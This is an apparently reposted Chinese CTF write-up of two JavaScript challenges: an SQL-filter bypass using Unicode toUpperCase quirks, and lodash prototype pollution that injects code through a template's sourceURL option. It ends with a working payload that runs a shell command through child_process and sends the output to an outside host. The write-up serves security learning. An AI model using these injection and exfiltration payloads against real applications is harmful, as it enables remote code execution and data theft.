Code-Breaking JS Writeup
栏目: JavaScript · 发布时间: 6年前
内容简介:题目来自 "代码审计知识星球"( p师傅 ) 学习了一下,做了两道关于 JS 的题对
Code-Breaking
题目来自 "代码审计知识星球"( p师傅 ) 学习了一下,做了两道关于 JS 的题
easy - nodechr
safeKeyword
过滤函数:
function safeKeyword(keyword) { if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) { return keyword } return undefined }
对 union|select|;|--
进行了检测
漏洞点:
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
函数 toUpperCase
是存在一些特殊情况的:
"ı".toUpperCase() "I" "ſ".toUpperCase() "S"
即可绕过过滤函数。
hard - thejs
代码比较少,使用 lodash
实现了一个简单的 ejs 模版引擎,在请求的时候渲染。猜测是 merge
有问题,查看版本,然后在 github 上搜索:
发现一个有意思的。 增加一个 safeGet
函数:
function safeGet(object, key) { return key == '__proto__' ? undefined : object[key]; }
增加了判断原型属性的函数,没有的话可以进行原型污染。 开始看到:
res.render('index', { language: data.language, category: data.category })
想着原型污染有点不太可能,后来测试发现, merge
直接将注入的原型属性的值写到了最底层的 Object ,这样每创建一个对象,注入的对象都会在原型属性当中。 接下来寻找可以利用的点,查看 template
函数,发现 敏感的点 :
var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
继续找 可控点 :
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
其中 option
为我们在模版引擎中,渲染的值。这里读取其中的 sourceURL
属性的值,我们就可以通过原型污染,添加一个 sourceURL
属性并控制值,在拼接到 Function
中达到执行 JS 的目的。 模版:
new Function("","//# sourceURL='xxx'\r\n[CODE]\r\n")();
这里有个小 TIP ?: 没法直接在 Function
中引入 require
。查了一下:
var require = global.require || global.process.mainModule.constructor._load
所以原型污染 + 执行任意 JS。 payload:
{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://l0ca1.com/${result}`);req.end();\r\n"}}
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
互联网产品运营:产品经理的10堂精英课
丁华、聂嵘海、王晶 / 电子工业出版社 / 2017-5 / 59
《互联网产品运营:产品经理的10堂精英课》共有10章,前9章分别从互联网产品运营的9个点入手,最后一章辅以案例,分析当下市场热门产品的运营模式。 第1章点明在运营产品之前需要经过缜密的策划,这样才能有明确的运营方向;第2章讲述产品运营的定位,有了准确的定位,运营才不会走偏;第3章描述用户运营,用户是一款产品的根本,没有用户,产品就是死的;第4章讲述内容运营的技巧,产品内容要怎么运营才能受到用......一起来看看 《互联网产品运营:产品经理的10堂精英课》 这本书的介绍吧!